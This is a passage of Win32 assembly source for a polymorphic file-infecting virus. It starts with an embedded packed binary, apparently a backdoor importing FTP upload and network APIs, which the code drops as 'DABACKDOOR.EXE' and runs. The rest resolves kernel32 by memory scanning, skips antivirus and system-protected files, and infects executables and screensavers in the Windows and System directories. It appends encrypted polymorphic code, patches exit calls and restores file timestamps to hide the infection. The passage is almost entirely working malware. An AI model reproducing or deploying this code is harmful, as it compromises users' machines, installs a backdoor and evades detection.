db 200,32,201,224,19,24,138,42,46,42,227,2,6,9,123,7
db 0,237,51,95,55,232,42,73,137,71,69,172,32,60,163,115
db 13,221,47,60,109,62,39,30,37,101,248,184,27,227,0,135
db 62,9,66,89,69,168,16,193,5,193,61,50,71,70,73,73
db 137,194,217,214,119,233,83,84,133,238,64,18,94,87,91,116
db 155,170,112,48,185,152,166,24,183,135,131,137,66,169,14,174
db 24,97,3,40,24,160,71,46,32,220,245,9,17,78,246,69
db 10,78,84,241,4,19,90,132,134,51,117,73,54,125,214,76
db 1,107,170,26,246,47,25,235,28,179,7,79,83,8,47,238
db 117,165,23,115,152,222,41,227,242,12,42,109,173,49,178,33
db 112,182,30,108,16,152,193,236,10,27,125,228,44,101,141,222
db 94,22,26,228,9,5,115,49,239,27,13,152,57,22,168,88
db 97,113,18,231,46,227,18,122,115,115,115,28,226,22,75,194
db 132,175,219,48,251,251,94,204,34,116,186,71,68,189,225,98
db 111,97,112,237,121,13,53,18,182,138,174,100,150,204,101,43
db 83,135,197,173,183,87,84,87,65,126,92,77,123,92,59,44
db 102,64,138,210,86,48,172,209,226,81,49,198,161,45,22,130
db 111,3,19,67,77,0,28,123,31,105,154,166,233,3,37,43
db 48,52,58,81,104,71,166,62,245,103,117,167,214,106,100,162
db 30,130,90,162,215,116,43,108,232,112,0,117,0,119,130,17
db 0,109,70,47,90,51,5,166,94,36,79,140,204,32,92,70
db 37,76,81,140,209,123,4,81,204,89,80,122,232,33,8,194
db 170,99,82,120,193,200,241,248,126,105,37,224,94,132,8,134
db 76,129,148,5,90,218,66,133,246,80,104,36,34,247,98,37
db 115,212,68,16,154,242,98,243,19,216,178,71,3,176,50,104
db 204,65,227,108,13,68,70,248,11,18,224,117,214,132,42,115
db 233,64,33,132,160,231,0,170,146,21,2,168,64,134,0,5
db 80,129,132,10,160,2,25,20,64,5,50,40,128,10,100,81
db 0,21,200,163,0,42,144,70,1,84,32,153,0,8,194,3
db 252,40,0,208,178,64,64,1,252,0,208,37,170,242,111,114
db 176,130,168,109,73,101,13,62,239,30,246,217,9,109,112,105
db 10,97,116,9,87,114,105,116,138,237,1,64,109,10,86,17
db 185,239,160,76,97,108,70,114,101,12,43,84,197,3,5,72
db 22,25,182,214,189,246,67,111,64,35,47,67,29,55,101,130
db 45,43,136,173,17,63,89,119,194,30,84,104,6,100,13,111
db 111,108,104,101,100,219,246,255,108,112,51,50,83,110,97,112
db 115,104,111,116,25,68,15,101,52,155,4,64,237,69,120,131
db 3,12,4,34,26,54,63,142,46,4,34,154,1,141,1,191
db 9,129,136,139,1,180,76,105,170,162,109,237,98,114,97,146
db 12,71,90,209,236,109,19,211,18,110,29,16,7,170,40,81
db 81,82,43,129,136,102,17,120,123,221,178,101,21,142,18,68
db 222,32,8,68,20,97,109,47,219,120,236,223,75,14,129,83
db 105,122,101,12,76,97,115,8,129,136,78,124,0,245,54,146
db 0,232,1,228,19,255,102,19,6,114,17,132,65,100,100,114
db 21,133,194,97,136,83,58,161,194,190,204,85,89,52,84,105
db 109,155,21,38,81,69,44,68,216,36,170,152,14,74,227,222
db 132,66,27,147,89,41,13,201,182,67,216,116,118,133,79,208
db 110,246,176,8,133,96,8,178,115,15,51,202,237,16,115,68
db 82,101,52,3,139,16,64,28,96,220,30,9,132,83,90,148
db 139,79,102,21,2,40,97,106,53,162,138,95,172,86,27,22
db 80,111,0,106,55,119,56,15,11,101,112,6,70,48,67,140
db 123,124,124,227,68,21,179,231,9,1,0,171,98,251,218,182
db 247,97,29,103,36,93,116,206,116,235,190,179,168,89,65,148
db 103,83,86,96,172,181,239,112,117,101,9,15,81,10,135,17
db 35,217,103,36,156,75,101,121,16,105,23,150,205,220,15,94
db 77,130,106,117,16,64,55,10,3,197,107,101,16,75,8,147
db 189,115,47,27,66,44,201,237,90,35,117,112,109,135,16,64
db 201,120,85,115,121,143,130,27,204,240,91,115,182,6,18,160
db 83,176,73,14,22,111,216,91,118,8,197,15,153,13,90,179
db 48,35,32,11,22,4,58,69,21,174,225,185,114,97,20,64
db 91,225,98,112,114,80,4,208,115,207,28,83,23,107,79,179
db 181,36,233,20,53,35,16,83,202,214,109,143,72,80,194,99
db 50,70,106,100,86,104,58,60,88,74,170,108,18,24,40,210
db 117,166,45,40,47,102,28,84,21,179,2,53,120,17,209,225
db 199,50,108,220,44,34,90,86,105,112,166,107,63,222,193,8
db 66,111,29,103,73,99,117,10,104,31,118,4,18,115,111,170
db 75,105,94,198,66,192,248,181,114,160,233,120,191,44,155,49
db 108,75,48,38,205,218,66,115,226,126,17,117,44,48,189,130
db 240,38,170,137,85,14,224,102,193,154,26,79,12,168,98,51
db 4,155,113,14,105,196,112,22,150,25,170,244,104,123,102,102
db 201,58,204,29,204,194,18,225,22,46,196,231,221,65,115,38
db 105,8,39,115,93,85,41,108,28,241,85,112,220,58,150,189
db 100,43,147,62,98,237,114,100,134,77,155,59,217,31,113,112
db 245,116,102,72,140,170,120,154,58,120,73,29,100,151,13,194
db 152,65,17,71,20,216,199,178,217,101,64,26,108,65,14,96
db 45,0,90,24,17,4,146,45,41,145,95,193,163,42,146,13
db 20,255,216,120,88,134,18,57,116,177,117,140,118,55,18,85
db 91,67,97,99,43,85,75,96,75,96,65,125,24,104,158,102
db 27,22,24,232,70,168,109,44,71,17,21,52,127,248,101,219
db 116,221,16,80,24,176,255,116,2,115,150,101,89,150,1,2
db 3,4,52,9,90,150,101,89,11,13,16,19,23,249,39,167
db 40,134,3,0,143,87,26,64,189,150,231,50,15,1,62,136
db 18,102,144,82,20,134,80,201,144,71,200,64,0,224,1,228
db 7,169,2,222,232,81,0,0,180,162,104,23,32,167,232,1
db 147,131,164,144,134,214,60,162,40,128,148,62,81,52,216,147
db 94,224,11,251,12,7,36,33,75,94,66,224,123,79,73,211
db 117,116,96,39,14,78,192,0,208,0,0,95,110,31,132,84
db 213,214,1,0,4,0,0,0,0,0,0,128,255,0,0,0
db 96,190,0,208,65,0,141,190,0,64,254,255,87,131,205,255
db 235,16,144,144,144,144,144,144,138,6,70,136,7,71,1,219
db 117,7,139,30,131,238,252,17,219,114,237,184,1,0,0,0
db 1,219,117,7,139,30,131,238,252,17,219,17,192,1,219,115
db 239,117,9,139,30,131,238,252,17,219,115,228,49,201,131,232
db 3,114,13,193,224,8,138,6,70,131,240,255,116,116,137,197
db 1,219,117,7,139,30,131,238,252,17,219,17,201,1,219,117
db 7,139,30,131,238,252,17,219,17,201,117,32,65,1,219,117
db 7,139,30,131,238,252,17,219,17,201,1,219,115,239,117,9
db 139,30,131,238,252,17,219,115,228,131,193,2,129,253,0,243
db 255,255,131,209,1,141,20,47,131,253,252,118,15,138,2,66
db 136,7,71,73,117,247,233,99,255,255,255,144,139,2,131,194
db 4,137,7,131,199,4,131,233,4,119,241,1,207,233,76,255
db 255,255,94,137,247,185,232,1,0,0,138,7,71,44,232,60
db 1,119,247,128,63,1,117,242,139,7,138,95,4,102,193,232
db 8,193,192,16,134,196,41,248,128,235,232,1,240,137,7,131
db 199,5,137,216,226,217,141,190,0,208,1,0,139,7,9,192
db 116,69,139,95,4,141,132,48,0,240,1,0,1,243,80,131
db 199,8,255,150,180,240,1,0,149,138,7,71,8,192,116,220
db 137,249,121,7,15,183,7,71,80,71,185,87,72,242,174,85
db 255,150,184,240,1,0,9,192,116,7,137,3,131,195,4,235
db 216,255,150,188,240,1,0,97,233,115,28,254,255,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,252,0,2,0
db 180,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0
db 9,1,2,0,196,0,2,0,0,0,0,0,0,0,0,0
db 0,0,0,0,22,1,2,0,204,0,2,0,0,0,0,0
db 0,0,0,0,0,0,0,0,35,1,2,0,212,0,2,0
db 0,0,0,0,0,0,0,0,0,0,0,0,47,1,2,0
db 220,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0
db 58,1,2,0,228,0,2,0,0,0,0,0,0,0,0,0
db 0,0,0,0,70,1,2,0,236,0,2,0,0,0,0,0
db 0,0,0,0,0,0,0,0,80,1,2,0,244,0,2,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,92,1,2,0,106,1,2,0,122,1,2,0
db 0,0,0,0,136,1,2,0,0,0,0,0,150,1,2,0
db 0,0,0,0,172,1,2,0,0,0,0,0,188,1,2,0
db 0,0,0,0,198,1,2,0,0,0,0,0,212,1,2,0
db 0,0,0,0,23,0,0,128,0,0,0,0,75,69,82,78
db 69,76,51,50,46,68,76,76,0,65,68,86,65,80,73,51
db 50,46,100,108,108,0,82,65,83,65,80,73,51,50,46,100
db 108,108,0,83,72,69,76,76,51,50,46,100,108,108,0,85
db 83,69,82,51,50,46,100,108,108,0,87,73,78,73,78,69
db 84,46,100,108,108,0,87,73,78,77,77,46,100,108,108,0
db 87,83,79,67,75,51,50,46,100,108,108,0,0,0,76,111
db 97,100,76,105,98,114,97,114,121,65,0,0,71,101,116,80
db 114,111,99,65,100,100,114,101,115,115,0,0,69,120,105,116
db 80,114,111,99,101,115,115,0,0,0,82,101,103,67,108,111
db 115,101,75,101,121,0,0,0,82,97,115,69,110,117,109,67
db 111,110,110,101,99,116,105,111,110,115,65,0,0,0,83,104
db 101,108,108,69,120,101,99,117,116,101,65,0,0,0,84,111
db 65,115,99,105,105,0,0,0,70,116,112,80,117,116,70,105
db 108,101,65,0,0,0,109,99,105,83,101,110,100,83,116,114
db 105,110,103,65,0,0,0,0,0,0,0,0,0,0,0,0
db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
BackdoorEnd dd 0
Backdoor db "DABACKDOOR.EXE",0
Drop_BackDoor proc
sub esp, 280
mov ebx, esp
push ebx
push 255
lea eax, dword ptr [ebp + szGetTempPathA]
Call K32Api
sub esp, 280
mov esi, ebx
mov edi, esp
@@:
lodsb
stosb
test al, al
jnz @B
dec edi
.IF byte ptr [edi-1] != '\'
mov byte ptr [edi], '\'
inc edi
.ENDIF
lea esi, dword ptr [ebp + Backdoor]
@@:
lodsb
stosb
test al, al
jnz @B
mov esi, esp
mov edi, ebx
push 0
push FILE_ATTRIBUTE_NORMAL
push CREATE_ALWAYS
push 0
push 0
push GENERIC_WRITE
push esi
lea eax,[ebp+szCreateFileA]
Call K32Api
.IF eax != INVALID_HANDLE_VALUE ; Error : file already exist
mov ebx, eax
push 0
lea eax, dword ptr [ebp + BackdoorEnd] ; <- Written
push eax
push (OFFSET BackdoorEnd - OFFSET BackdoorStart)
lea eax, dword ptr [ebp + BackdoorStart]
push eax
push ebx
lea eax, dword ptr [ebp + szWriteFile]
Call K32Api
lea eax,dword ptr [ebp + InfectionTime]
push eax
push eax
push eax
push ebx
lea eax, dword ptr [ebp + szSetFileTime]
Call K32Api
push ebx
lea eax,[ebp+szCloseHandle]
Call K32Api
.ENDIF
sub esp, SIZEOF STARTUPINFO + 40
mov ebx, esp
push ebx
lea eax, dword ptr [ebp + szGetStartupInfoA]
Call K32Api
sub esp, SIZEOF PROCESS_INFORMATION + 40
mov edx, esp
push edx
xor eax,eax
push edx
push ebx
push edi
push eax
push NORMAL_PRIORITY_CLASS
push eax
push eax
push eax
push eax
push esi
lea eax, dword ptr [ebp + szCreateProcessA]
Call K32Api
pop ebx
push [ebx+4]
lea eax, dword ptr [ebp + szCloseHandle]
Call K32Api
add esp, (280 * 2 + SIZEOF PROCESS_INFORMATION + 40 + SIZEOF STARTUPINFO + 40)
ret
Drop_BackDoor endp
GetK32 proc
lea eax,[ErrKernl+ebp]
push eax
mov dword ptr [ebp + @StackPtr], esp
xor edx,edx
push dword ptr fs:[edx]
mov dword ptr fs:[edx],esp
push 5 ; Scan 5 Pages
pop ecx
_@1: cmp word ptr [esi],"ZM"
jz WeGotK32
_@2: sub esi,10000h
dec ecx
jnz _@1
WeFailed:
xor esi,esi
WeGotK32:
xchg eax,esi
jmp K32Ok
ErrKernl:
xor eax, eax
K32Ok:
DB 0BCh
@StackPtr dd 00000000h
xor edx,edx
pop dword ptr fs:[edx]
db 0BDh
@@@Delta dd 00000000h
ret
GetK32 endp
GetGetProcAddressAddress proc
and dword ptr [ebp + ApiCounter],0
mov edi,dword ptr [eax+3Ch] ;PE hdr
add edi,eax
assume edi:ptr IMAGE_NT_HEADERS
mov edi,[edi].OptionalHeader.DataDirectory.VirtualAddress
add edi,eax
assume edi:ptr IMAGE_EXPORT_DIRECTORY
mov ecx,[edi].NumberOfNames
mov esi,[edi].AddressOfNames
add esi,eax
xchg eax,ebx
MatchLp:
lodsd
add eax,ebx
push ecx
push edi
push esi
push GPASIZE
pop ecx
lea edi,[ebp+szGetProcAddress]
mov esi,eax
repz cmpsb
pop esi
pop edi
or ecx,ecx
jz GPA_found
inc dword ptr [ebp + ApiCounter]
pop ecx
dec ecx
jnz MatchLp
mov dword ptr [ebp + _GetProcAddress], 0bff76dach ; Not found. hardcode it ( Win95/98 )
ret
GPA_found:
mov esi,[edi].AddressOfNameOrdinals
pop ecx
mov ecx,dword ptr [ebp + ApiCounter]
shl ecx,1
add esi,ecx
add esi,ebx
xor eax,eax
lodsw
shl eax,2
add eax,[edi].AddressOfFunctions
mov esi,eax
add esi,ebx
lodsd
add eax,ebx
assume edi :nothing
mov dword ptr [ebp + _GetProcAddress],eax
ret
GetGetProcAddressAddress endp
infect_newsystem proc
lea ebx, dword ptr [ebp + szGetSystemDirectoryA]
xor ecx, ecx
inc ecx
@@:
push ecx
sub esp, 300
mov esi, esp
push 0FFh ; Dir size
push esi ; buffer
mov eax, ebx
Call K32Api
mov eax, esi
call _strlen
mov ecx, esi
add ecx, eax
mov dword ptr [ecx], '*.*\'
mov byte ptr [ecx + 4], 0
mov eax, esi
Call InfectDir
add esp, 300
lea ebx, dword ptr [ebp + szGetWindowsDirectoryA]
pop ecx
dec ecx
jns @B
ret
infect_newsystem endp
InfectDir Proc
sub esp, (SIZEOF (WIN32_FIND_DATA) + 400)
mov ebx, esp
push ebx
push eax ; DirPath
lea eax, dword ptr [ebp+szFindFirstFileA]
CAll K32Api
inc eax
jz SHIT ; Fucking ERR_NOACCESS under XP!
dec eax
mov dword ptr [ebp + hFind], eax
mov edi, esp
add edi, (SIZEOF (WIN32_FIND_DATA) + 4)
push edi
@@:
lodsb
cmp al, '*'
jz @F
stosb
jmp @B
@@:
xor al, al
stosb
pop esi
and byte ptr [ebp+InfectionCtr],0
FindLp:
assume ebx:ptr WIN32_FIND_DATA
lea eax, dword ptr [[ebx].cFileName]
push eax
mov edi,eax
xor ecx,ecx
dec ecx
xor al,al ; last byte 0
repnz scasb
pop eax
or dword ptr [edi-5],20202020h
.IF dword ptr [edi-5] != 'exe.' && dword ptr [edi-5] != 'rcs.'
jnz skipfile
.ENDIF
mov ecx,dword ptr [[ebx].nFileSizeHigh] ; skip large file
test ecx,ecx
jnz skipfile
push esi
push eax
mov eax, esi
call _strlen
mov ecx, esi
add ecx, eax
mov edx, ecx
mov edi, ecx
pop esi
@@:
lodsb
stosb
or al,al
jnz @b
pop esi
;push edx
;xor ecx, ecx
;push ecx
;push esi
;push esi
;push ecx
;lea eax, dword ptr [ebp + szMessageBoxA]
;Call U32Api
;pop edx
mov eax, esi
pushad
Call IsFileAV?
dec eax
popad
jz @F ; IS it an AV file ?
Call infect ; All criterias Ok? infect !!!
@@:
;;----
;inc byte ptr [ebp + InfectionCtr]
;---
and byte ptr [edx], 0
skipfile:
push ebx
push dword ptr [ebp + hFind]
lea eax, dword ptr [ebp + szFindNextFileA]
CAll K32Api
cmp byte ptr [ebp + InfectionCtr], 7 ; infect 7 files in dir
jae ExitFind
test eax,eax
jnz FindLp
ExitFind:
push dword ptr [ebp+hFind]
lea eax,[ebp+szFindClose] ; Close Search handle
CAll K32Api
SHIT:
add esp, (SIZEOF (WIN32_FIND_DATA) + 400)
ret
InfectDir endp
infect proc
pushad
mov dword ptr [ebp + pFileName],eax
xor esi,esi
and byte ptr [ebp + _SizeTestFailed], 0 ; Init Ok
sub esp, 1100
mov ebx, esp
cmp dword ptr [ebp + hSFC], 0 ; Not W2k/Xp
jz Infect2nd
push 1024
push ebx
push -1
push eax
push esi
push esi
lea eax, dword ptr [ebp + szMultiByteToWideChar]
Call K32Api
lea eax, dword ptr [ebp + szSfcIsFileProtected]
push eax
push dword ptr [ebp + hSFC]
Call dword ptr [ebp + _GetProcAddress]
or eax, eax ; Api not found ?
jz Infect2nd
cmp byte ptr [eax], 0CCh
jz ZeroShit
push ebx ;
push esi ; 0
Call eax ; Call SfcIsFileProtected
or eax, eax
jz Infect2nd
add esp, 1100
popad
ret ; It's Protected !
Infect2nd:
add esp, 1100
and dword ptr [ebp + Patched?],0 ; init error
xor esi,esi
push esi
push esi
push esi
push esi
lea eax, dword ptr [ebp + szCreateEventA]
Call K32Api
mov dword ptr [ebp + InfEvent], eax
mov dword ptr [ebp + ThreadDelta], ebp
lea eax, dword ptr [ebp + CheckInfectionTimeOutThreadID]
push eax
push esi
push esi
lea eax, dword ptr [ebp + CheckInfectionTimeOutThread]
push eax
push esi
push esi
lea eax, dword ptr [ebp + szCreateThread]
Call K32Api
push eax
lea eax, dword ptr [ebp + szCloseHandle]
Call K32Api
push dword ptr [ebp + pFileName]
lea eax, dword ptr [ebp + szGetFileAttributesA] ; Save Original attribs
Call K32Api
mov dword ptr [ebp + OriginalAttributes],eax
push FILE_ATTRIBUTE_NORMAL ; Reset attributes
push dword ptr [ebp + pFileName]
lea eax, dword ptr [ebp + szSetFileAttributesA]
Call K32Api
push esi
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push esi
push FILE_SHARE_READ or FILE_SHARE_WRITE
push GENERIC_READ or GENERIC_WRITE
push dword ptr [ebp + pFileName]
lea eax,[ebp+szCreateFileA]
Call K32Api
inc eax
jz ErrOpen
dec eax
mov dword ptr [ebp+hFile],eax
lea eax,dword ptr [ebp + LastWriteTime]
push eax
lea eax,dword ptr [ebp + LastAccessTime]
push eax
lea eax,dword ptr [ebp + CreationTime]
push eax
push dword ptr [ebp+hFile]
lea eax, dword ptr [ebp + szGetFileTime]
Call K32Api
push esi
push esi
push esi
push PAGE_READWRITE
push esi
push dword ptr [ebp+hFile]
lea eax,[ebp+szCreateFileMappingA]
call K32Api
or eax,eax
jz ErrMap1
mov dword ptr [ebp +hMap],eax
push esi
push esi
push esi
push FILE_MAP_ALL_ACCESS
push dword ptr [ebp+hMap]
lea eax,[ebp+szMapViewOfFile]
call K32Api
test eax,eax
jz ErrMap2
mov dword ptr [ebp +pMap],eax
cmp word ptr [eax],IMAGE_DOS_SIGNATURE
jnz ErrInf
mov dword ptr [ebp + _Inf_ESP], esp
mov dword ptr [ebp + _Inf_EBP], ebp
;mov dword ptr [ebp + _Inf_ESP2], esp
;mov dword ptr [ebp + _Inf_EBP2], ebp
;mov dword ptr [ebp + _Inf_ESP3], esp
;mov dword ptr [ebp + _Inf_EBP3], ebp
lea ecx,[ebp + inf_main_handler]
push ecx
xor edx,edx
push dword ptr fs:[edx]
mov dword ptr fs:[edx],esp
mov edi,[eax+3ch]
add edi,eax
cmp dword ptr [edi],IMAGE_NT_SIGNATURE
jnz ErrInf
assume edi: ptr IMAGE_NT_HEADERS
mov ecx,[edi].OptionalHeader.FileAlignment
mov dword ptr [ebp + FAlignment], ecx
movzx esi, word ptr [edi].FileHeader.SizeOfOptionalHeader
lea esi, [[edi].OptionalHeader + esi] ; esi pointe sur le premier IMAGE_SECTION_HEADER
movzx eax, word ptr [[edi].FileHeader.NumberOfSections]
dec eax
imul eax,eax,sizeof IMAGE_SECTION_HEADER
add esi,eax ; esi pointe sur le dernier IMAGE_SECTION_HEADER
xor eax,eax
push eax
push dword ptr [ebp + hFile]
lea eax, dword ptr [ebp+szGetFileSize]
call K32Api
mov dword ptr [ebp + OldSize],eax
cmp eax,MINIMUM_FILE_SIZE ; Avoid Small Files
jb ErrInf
cmp eax,MAXIMUM_FILE_SIZE ; Avoid Big Files
ja ErrInf
assume esi:ptr IMAGE_SECTION_HEADER
mov ecx,eax
mov edx,[esi].PointerToRawData
;.IF byte ptr [ebp + _SizeTestFailed] != 0
; push eax
;.ELSE
.IF dword ptr [esi].Misc.VirtualSize != 0 ;
push dword ptr [esi].Misc.VirtualSize
.ELSE
;xor eax, eax
;mov [eax], eax
push dword ptr [esi].SizeOfRawData;
.ENDIF
;.ENDIF
pop dword ptr [ebp + SizeRelative]
add edx, dword ptr [ebp + SizeRelative]
sub ecx,edx
sub eax,ecx
mov dword ptr [ebp + Size2Align],eax ; offset where to start virus
mov ecx,ZipSignLen
lea edi,[ebp + ZipSign]
repz cmpsb
test ecx,ecx
jz ErrInf ; test for winzip self extractor
Call UnMap
mov eax,dword ptr [ebp + Size2Align]
mov ecx,dword ptr [ebp + FAlignment]
add eax,MAX_POLY_SIZE
call _Align
xchg ecx,eax ;New File Size = Old File Size + VirusSize
.IF ecx < dword ptr [ebp + OldSize] ; would it cut file ?
;inc byte ptr [ebp + _SizeTestFailed] ; security
xor edx,edx
pop dword ptr fs:[edx]
add esp, 4
;db 0BCh
;_Inf_ESP2 dd 0
;db 0BDh
;_Inf_EBP2 dd 0
jmp CloseSetDateAttrib
.ENDIF
Call trunc_file
push esi ; esi == 0
push ecx
push esi
push PAGE_READWRITE
push esi
push dword ptr [ebp+hFile]
lea eax,[ebp+szCreateFileMappingA]
call K32Api
test eax,eax
jz ErrMap1
mov dword ptr [ebp +hMap],eax
push esi
push esi
push esi
push FILE_MAP_ALL_ACCESS
push dword ptr [ebp+hMap]
lea eax,[ebp+szMapViewOfFile]
call K32Api
test eax,eax
jz ErrMap2
mov dword ptr [ebp +pMap],eax
mov edi,[eax+3ch]
add edi,eax
mov dword ptr [ebp + PEheader],edi
push dword ptr [edi].OptionalHeader.ImageBase
pop dword ptr [ebp + ImageBase]
;mov eax, dword ptr [edi].OptionalHeader.SectionAlignment
;mov dword ptr [ebp + SectionAlignment], eax
movzx esi, word ptr [edi].FileHeader.SizeOfOptionalHeader
lea esi, [[edi].OptionalHeader + esi] ; esi pointe sur le premier IMAGE_SECTION_HEADER
movzx eax, word ptr [[edi].FileHeader.NumberOfSections]
dec eax
imul eax,eax,sizeof IMAGE_SECTION_HEADER
add esi,eax ; esi pointe sur le dernier IMAGE_SECTION_HEADER
assume esi:ptr IMAGE_SECTION_HEADER
lea ebx,[ebp + szExitProcess]
lea edx,[ebp + Kernel]
Call CheckFunctionImported
mov dword ptr [ebp + _Exit1],eax
lea ebx,[ebp + exit]
xor edx,edx
Call CheckFunctionImported
mov dword ptr [ebp + _Exit2],eax
xor edx,edx
lea ebx,[ebp + _exit]
Call CheckFunctionImported
mov dword ptr [ebp + _Exit3],eax
cmp dword ptr [ebp + _Exit1],0
jnz PatchPlz
cmp dword ptr [ebp + _Exit2],0
jnz PatchPlz
cmp dword ptr [ebp + _Exit3],0
jnz PatchPlz
jmp CannotPatch
PatchPlz:
Call PatchExitFunc
or eax,eax
jnz PatchOk
CannotPatch:
Call UnMap ; No Know Exit function, Resize File & quit...
mov ecx,dword ptr [ebp + OldSize]
Call trunc_file
xor edx,edx
pop dword ptr fs:[edx]
add esp, 4
;db 0BCh
;_Inf_ESP3 dd 0
;db 0BDh
;_Inf_EBP3 dd 0
jmp CloseSetDateAttrib
PatchOk:
;----
Call InitMemAccess ; Get data section offset
;----
or [esi].Characteristics, 00000020h or 20000000h or 80000000h
mov eax, [[esi].PointerToRawData]
or eax,eax
jz ErrInf
inc byte ptr [ebp+InfectionCtr]
add eax,dword ptr [ebp + pMap] ;eax pointe sur le début de la derniere section
add eax,dword ptr [ebp + SizeRelative] ;eax pointe sur la fin de la derniere section
mov edi, eax
push esi
mov dword ptr [ebp + FileOFFSET],edi
push PAGE_EXECUTE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push MAX_POLY_SIZE
push 0
lea eax, dword ptr [ebp + szVirtualAlloc]
Call K32Api
mov dword ptr [ebp + pAlloc],eax
@@:
mov edi, dword ptr [ebp + pAlloc]
mov ecx, CryptSize ; Size of the virus to encrypt
lea esi, [ebp+VirusStart]
xor edx,edx
push ebx
Call PolyMain
pop ebx
cmp dword ptr [ebp + PolyErrFlag], 1
jz @B ; repair if a non-fatal error occured during polymorphism generation
cmp byte ptr [ebp + PolyMainErr], 0 ; rebuild all code if a fatal error occured
jnz @B
mov edi, dword ptr [ebp + FileOFFSET]
push ecx
shr ecx, 2
inc ecx
rep movsd ; Copy polymorphic virus to file
Call UnMap
pop ecx
mov eax, dword ptr [ebp + OldSize]
mov dword ptr [ebp + OldSize], ecx
add eax, ecx
add eax, 1000;--------------------------------------------------
mov ecx,dword ptr [ebp + FAlignment]
call _Align
mov ecx,eax
Call trunc_file
xor esi, esi
push esi ; esi == 0
push ecx
push esi
push PAGE_READWRITE
push esi
push dword ptr [ebp+hFile]
lea eax,[ebp+szCreateFileMappingA]
call K32Api
test eax,eax
jz ErrMap1
mov dword ptr [ebp +hMap],eax
push esi
push esi
push esi
push FILE_MAP_ALL_ACCESS
push dword ptr [ebp+hMap]
lea eax,[ebp+szMapViewOfFile]
call K32Api
test eax,eax
jz ErrMap2
mov dword ptr [ebp +pMap],eax
mov edi,[eax+3ch]
add edi,eax
mov dword ptr [ebp + PEheader],edi
movzx esi, word ptr [edi].FileHeader.SizeOfOptionalHeader
lea esi, [[edi].OptionalHeader + esi] ; esi pointe sur le premier IMAGE_SECTION_HEADER
movzx eax, word ptr [[edi].FileHeader.NumberOfSections]
dec eax
imul eax,eax,sizeof IMAGE_SECTION_HEADER
add esi,eax ; esi pointe sur le dernier IMAGE_SECTION_HEADER
pop eax
mov ecx, dword ptr [ebp + SizeRelative]
add ecx, dword ptr [ebp + OldSize]
mov [esi].SizeOfRawData,ecx
mov [esi].Misc.VirtualSize,ecx
mov edi, dword ptr [ebp + PEheader]
mov eax,[esi].SizeOfRawData
add eax,[esi].VirtualAddress
mov [edi].OptionalHeader.SizeOfImage,eax
;---
push MEM_DECOMMIT or MEM_RELEASE
push MAX_POLY_SIZE
push dword ptr [ebp + pAlloc]
lea eax, dword ptr [ebp + szVirtualFree]
Call K32Api
;mov edi, dword ptr [ebp + PEheader]
mov ecx, dword ptr [edi].OptionalHeader.CheckSum ; Recalculate Checksum if needed
jecxz AfterCopy ; Skip Checksum
lea eax, dword ptr [ebp + IMAGEHLP]
push eax
lea eax, dword ptr [ebp + szLoadLibraryA]
Call K32Api
or eax, eax
jz AfterCopy
mov ebx, eax
lea eax, dword ptr [ebp + szCheckSumMappedFile]
push eax
push ebx
Call dword ptr [ebp + _GetProcAddress]
or eax, eax
jz FreeIMGHLP
cmp byte ptr [eax], 0CCh
jz ZeroShit
push eax
xor eax,eax
push eax
push dword ptr [ebp + hFile]
lea eax, dword ptr [ebp+szGetFileSize]
call K32Api
pop edx
lea ecx, dword ptr [edi].OptionalHeader.CheckSum
push ecx ; New Checksum
Call @F
dd ? ; Old Checksum
@@:
push eax ; FileSize
push dword ptr [ebp + pMap] ; MapAddr
Call edx ; Call CheckSumMappedFile
FreeIMGHLP:
push ebx
lea eax, dword ptr [ebp + szFreeLibrary]
Call K32Api
AfterCopy:
ErrInf:
inf_main_handler:
xor edx,edx
pop dword ptr fs:[edx]
db 0BCh
_Inf_ESP dd 0
db 0BDh
_Inf_EBP dd 0
and byte ptr [ebp + _SizeTestFailed], 0 ; Clear error
push dword ptr [ebp+pMap]
lea eax,dword ptr [ebp+szUnmapViewOfFile]
call K32Api
ErrMap2:
push dword ptr [ebp+hMap]
lea eax, dword ptr [ebp+szCloseHandle]
call K32Api
CloseSetDateAttrib:
lea eax,dword ptr [ebp + LastWriteTime]
push eax
lea eax,dword ptr [ebp + LastAccessTime]
push eax
lea eax,dword ptr [ebp + CreationTime]
push eax
push dword ptr [ebp+hFile]
lea eax, dword ptr [ebp + szSetFileTime]
Call K32Api
ErrMap1:
push dword ptr [ebp+hFile]
lea eax, dword ptr [ebp+szCloseHandle]
call K32Api
ErrOpen:
push dword ptr [ebp + OriginalAttributes]
push dword ptr [ebp + pFileName]
lea eax, dword ptr [ebp + szSetFileAttributesA]
Call K32Api
;assume edi:nothing
;assume esi:nothing
push dword ptr [ebp + InfEvent]
lea eax, dword ptr [ebp + szSetEvent] ; We did the job
Call K32Api
cmp byte ptr [ebp + _SizeTestFailed], 0
jnz Infect2nd
popad
ret
infect endp
_MainHostFile db 0
_MainHostFileName dd 0
CheckInfectionTimeOutThread:
db 0BDh
ThreadDelta dd 00000000h
push 3000 ; TimeOut
push dword ptr [ebp + InfEvent]
lea eax, dword ptr [ebp + szWaitForSingleObject]
Call K32Api
.IF eax == WAIT_TIMEOUT ; infection hanged
.IF byte ptr [ebp + _MainHostFile] == 1
Call ReDoMainHost
.ELSE
xor eax, eax
dec dword ptr [eax] ; Make fault then clear Mem and quit
.ENDIF
.ENDIF
push dword ptr [ebp + InfEvent]
lea eax, dword ptr [ebp + szCloseHandle]
Call K32Api
push eax
lea eax, dword ptr [ebp + szExitThread]
Call K32Api
ret
ReDoMainHost:
Call UnMap
push dword ptr [ebp+hFile]
lea eax, dword ptr [ebp + szCloseHandle]
Call K32Api
push dword ptr [ebp + _MainHostFileName]
lea eax, dword ptr [ebp + szDeleteFileA]
Call K32Api
Call SetupRegHook
ret
InfEvent dd 0
